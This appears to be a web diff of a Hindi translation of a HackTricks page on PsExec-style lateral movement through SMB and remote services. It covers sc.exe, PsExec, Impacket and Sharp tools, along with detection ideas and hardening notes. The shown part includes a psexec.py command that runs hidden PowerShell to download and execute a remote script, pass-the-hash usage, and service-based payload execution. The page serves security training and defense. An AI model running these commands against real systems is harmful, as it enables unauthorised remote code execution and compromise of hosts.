- लक्षित होस्ट पर स्थानीय व्यवस्थापक (SeCreateServicePrivilege) या लक्षित होस्ट पर स्पष्ट सेवा निर्माण अधिकार।
|
||||||
- SMB (445) पहुँच योग्य और ADMIN$ शेयर उपलब्ध; होस्ट फ़ायरवॉल के माध्यम से दूरस्थ सेवा प्रबंधन की अनुमति।
|
- SMB (445) पहुँच योग्य और ADMIN$ शेयर उपलब्ध; होस्ट फ़ायरवॉल के माध्यम से दूरस्थ सेवा प्रबंधन की अनुमति।
|
||||||
- UAC दूरस्थ प्रतिबंध: स्थानीय खातों के साथ, टोकन फ़िल्टरिंग नेटवर्क पर व्यवस्थापक को रोक सकती है जब तक कि अंतर्निहित व्यवस्थापक या LocalAccountTokenFilterPolicy=1 का उपयोग न किया जाए।
|
- UAC दूरस्थ प्रतिबंध: स्थानीय खातों के साथ, टोकन फ़िल्टरिंग नेटवर्क पर व्यवस्थापक को रोक सकती है जब तक कि अंतर्निहित व्यवस्थापक या LocalAccountTokenFilterPolicy=1 का उपयोग न किया जाए।
|
||||||
- Kerberos बनाम NTLM: एक होस्टनाम/FQDN का उपयोग करने से Kerberos सक्षम होता है; IP द्वारा कनेक्ट करने पर अक्सर NTLM पर वापस लौटता है (और कठोर वातावरण में अवरुद्ध हो सकता है)।
|
- Kerberos बनाम NTLM: एक होस्टनाम/FQDN का उपयोग करने से Kerberos सक्षम होता है; IP द्वारा कनेक्ट करने पर अक्सर NTLM पर वापस लौटता है (और सख्त वातावरण में अवरुद्ध हो सकता है)।
|
||||||
|
|
||||||
### मैनुअल ScExec/WinExec via sc.exe
|
### मैनुअल ScExec/WinExec via sc.exe
|
||||||
|
|
||||||
@ -60,7 +60,7 @@ PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
|
|||||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
|
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
|
||||||
```
|
```
|
||||||
OPSEC
|
OPSEC
|
||||||
- सेवा स्थापित/अनइंस्टॉल घटनाओं को छोड़ता है (सेवा का नाम अक्सर PSEXESVC होता है जब -r का उपयोग नहीं किया जाता) और निष्पादन के दौरान C:\Windows\PSEXESVC.exe बनाता है।
|
- सेवा स्थापित/अनइंस्टॉल घटनाओं को छोड़ता है (सेवा का नाम अक्सर PSEXESVC होता है जब तक -r का उपयोग नहीं किया जाता) और निष्पादन के दौरान C:\Windows\PSEXESVC.exe बनाता है।
|
||||||
|
|
||||||
### Impacket psexec.py (PsExec-जैसा)
|
### Impacket psexec.py (PsExec-जैसा)
|
||||||
|
|
||||||
@ -79,7 +79,7 @@ psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
|
|||||||
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
|
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
|
||||||
```
|
```
|
||||||
Artifacts
|
Artifacts
|
||||||
- अस्थायी EXE C:\Windows\ में (यादृच्छिक 8 अक्षर)। सेवा का नाम डिफ़ॉल्ट रूप से RemComSvc होता है जब तक कि इसे ओवरराइड न किया जाए।
|
- अस्थायी EXE C:\Windows\ में (यादृच्छिक 8 अक्षर)। सेवा का नाम डिफ़ॉल्ट रूप से RemComSvc होता है जब तक कि इसे ओवरराइड नहीं किया जाता।
|
||||||
|
|
||||||
### Impacket smbexec.py (SMBExec)
|
### Impacket smbexec.py (SMBExec)
|
||||||
|
|
||||||
@ -94,7 +94,7 @@ smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
|
|||||||
```cmd
|
```cmd
|
||||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||||
```
|
```
|
||||||
- [SharpMove](https://github.com/0xthirteen/SharpMove) में एक सेवा को संशोधित/निर्माण करने की क्षमता है ताकि दूरस्थ रूप से एक कमांड निष्पादित किया जा सके।
|
- [SharpMove](https://github.com/0xthirteen/SharpMove) में एक सेवा को संशोधित/निर्माण करने की क्षमता होती है ताकि दूरस्थ रूप से एक आदेश निष्पादित किया जा सके।
|
||||||
```cmd
|
```cmd
|
||||||
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
||||||
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
||||||
@ -115,28 +115,30 @@ PsExec-जैसी तकनीकों का उपयोग करते
|
|||||||
|
|
||||||
शिकार विचार
|
शिकार विचार
|
||||||
- सेवा स्थापना पर अलर्ट जहाँ ImagePath में cmd.exe /c, powershell.exe, या TEMP स्थान शामिल हैं।
|
- सेवा स्थापना पर अलर्ट जहाँ ImagePath में cmd.exe /c, powershell.exe, या TEMP स्थान शामिल हैं।
|
||||||
- प्रक्रिया निर्माण की तलाश करें जहाँ ParentImage C:\Windows\PSEXESVC.exe है या LOCAL SYSTEM के रूप में चलने वाली services.exe के बच्चे।
|
- प्रक्रिया निर्माण की तलाश करें जहाँ ParentImage C:\Windows\PSEXESVC.exe है या LOCAL SYSTEM के रूप में चलने वाले services.exe के बच्चे।
|
||||||
- -stdin/-stdout/-stderr के साथ समाप्त होने वाले नामित पाइप या प्रसिद्ध PsExec क्लोन पाइप नामों को फ्लैग करें।
|
- -stdin/-stdout/-stderr के साथ समाप्त होने वाले नामित पाइप या प्रसिद्ध PsExec क्लोन पाइप नामों को फ्लैग करें।
|
||||||
|
|
||||||
## Troubleshooting common failures
|
## Troubleshooting common failures
|
||||||
- सेवाएँ बनाने पर पहुँच अस्वीकृत (5): वास्तव में स्थानीय व्यवस्थापक नहीं, स्थानीय खातों के लिए UAC दूरस्थ प्रतिबंध, या सेवा बाइनरी पथ पर EDR छेड़छाड़ सुरक्षा।
|
- सेवाएँ बनाने पर पहुँच अस्वीकृत (5): वास्तव में स्थानीय व्यवस्थापक नहीं, स्थानीय खातों के लिए UAC दूरस्थ प्रतिबंध, या सेवा बाइनरी पथ पर EDR छेड़छाड़ सुरक्षा।
|
||||||
- नेटवर्क पथ नहीं मिला (53) या ADMIN$ से कनेक्ट नहीं कर सका: SMB/RPC को अवरुद्ध करने वाला फ़ायरवॉल या व्यवस्थापक साझा अक्षम।
|
- नेटवर्क पथ नहीं मिला (53) या ADMIN$ से कनेक्ट नहीं कर सका: SMB/RPC को अवरुद्ध करने वाला फ़ायरवॉल या प्रशासनिक साझाएँ अक्षम।
|
||||||
- Kerberos विफल होता है लेकिन NTLM अवरुद्ध है: hostname/FQDN (IP नहीं) का उपयोग करके कनेक्ट करें, उचित SPNs सुनिश्चित करें, या Impacket का उपयोग करते समय टिकटों के साथ -k/-no-pass प्रदान करें।
|
- Kerberos विफल होता है लेकिन NTLM अवरुद्ध है: hostname/FQDN (IP नहीं) का उपयोग करके कनेक्ट करें, उचित SPNs सुनिश्चित करें, या Impacket का उपयोग करते समय टिकटों के साथ -k/-no-pass प्रदान करें।
|
||||||
- सेवा प्रारंभ समय समाप्त हो जाता है लेकिन पेलोड चला: यदि वास्तविक सेवा बाइनरी नहीं है तो अपेक्षित; आउटपुट को फ़ाइल में कैप्चर करें या लाइव I/O के लिए smbexec का उपयोग करें।
|
- सेवा प्रारंभ समय समाप्त हो जाता है लेकिन पेलोड चलता है: यदि वास्तविक सेवा बाइनरी नहीं है तो अपेक्षित; आउटपुट को फ़ाइल में कैप्चर करें या लाइव I/O के लिए smbexec का उपयोग करें।
|
||||||
|
|
||||||
## Hardening notes (modern changes)
|
## Hardening notes
|
||||||
- Windows 11 24H2 और Windows Server 2025 डिफ़ॉल्ट रूप से आउटबाउंड (और Windows 11 इनबाउंड) कनेक्शनों के लिए SMB साइनिंग की आवश्यकता होती है। यह वैध क्रेड्स के साथ वैध PsExec उपयोग को बाधित नहीं करता है लेकिन असाइन किए गए SMB रिले दुरुपयोग को रोकता है और उन उपकरणों पर प्रभाव डाल सकता है जो साइनिंग का समर्थन नहीं करते हैं।
|
- Windows 11 24H2 और Windows Server 2025 डिफ़ॉल्ट रूप से आउटबाउंड (और Windows 11 इनबाउंड) कनेक्शनों के लिए SMB साइनिंग की आवश्यकता होती है। यह वैध क्रेड्स के साथ वैध PsExec उपयोग को बाधित नहीं करता है लेकिन बिना साइन किए SMB रिले दुरुपयोग को रोकता है और उन उपकरणों पर प्रभाव डाल सकता है जो साइनिंग का समर्थन नहीं करते हैं।
|
||||||
- नए SMB क्लाइंट NTLM अवरोधन (Windows 11 24H2/Server 2025) IP द्वारा कनेक्ट करते समय या गैर-Kerberos सर्वरों से कनेक्ट करते समय NTLM फॉल्बैक को रोक सकता है। मजबूत वातावरण में यह NTLM-आधारित PsExec/SMBExec को तोड़ देगा; Kerberos (hostname/FQDN) का उपयोग करें या यदि वैध रूप से आवश्यक हो तो अपवाद कॉन्फ़िगर करें।
|
- नए SMB क्लाइंट NTLM अवरुद्ध (Windows 11 24H2/Server 2025) IP द्वारा कनेक्ट करते समय या गैर-Kerberos सर्वरों से कनेक्ट करते समय NTLM फॉलबैक को रोक सकता है। सख्त वातावरण में यह NTLM-आधारित PsExec/SMBExec को तोड़ देगा; Kerberos (hostname/FQDN) का उपयोग करें या यदि वैध रूप से आवश्यक हो तो अपवाद कॉन्फ़िगर करें।
|
||||||
- न्यूनतम विशेषाधिकार का सिद्धांत: स्थानीय व्यवस्थापक सदस्यता को कम करें, Just-in-Time/Just-Enough Admin को प्राथमिकता दें, LAPS को लागू करें, और 7045 सेवा स्थापना पर निगरानी/अलर्ट करें।
|
- न्यूनतम विशेषाधिकार का सिद्धांत: स्थानीय व्यवस्थापक सदस्यता को कम करें, Just-in-Time/Just-Enough Admin को प्राथमिकता दें, LAPS को लागू करें, और 7045 सेवा स्थापना पर निगरानी/अलर्ट करें।
|
||||||
|
|
||||||
## See also
|
## See also
|
||||||
|
|
||||||
- WMI-आधारित दूरस्थ कार्यान्वयन (अक्सर अधिक फ़ाइल रहित):
|
- WMI-आधारित दूरस्थ कार्यान्वयन (अक्सर अधिक फ़ाइल रहित):
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
./wmiexec.md
|
./wmiexec.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- WinRM-आधारित दूरस्थ कार्यान्वयन:
|
- WinRM-आधारित दूरस्थ कार्यान्वयन:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
./winrm.md
|
./winrm.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
@ -147,4 +149,5 @@ PsExec-जैसी तकनीकों का उपयोग करते
|
|||||||
|
|
||||||
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
|
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
|
||||||
- SMB सुरक्षा हार्डनिंग Windows Server 2025 & Windows 11 (डिफ़ॉल्ट रूप से साइनिंग, NTLM अवरोधन): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
- SMB सुरक्षा हार्डनिंग Windows Server 2025 & Windows 11 (डिफ़ॉल्ट रूप से साइनिंग, NTLM अवरोधन): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user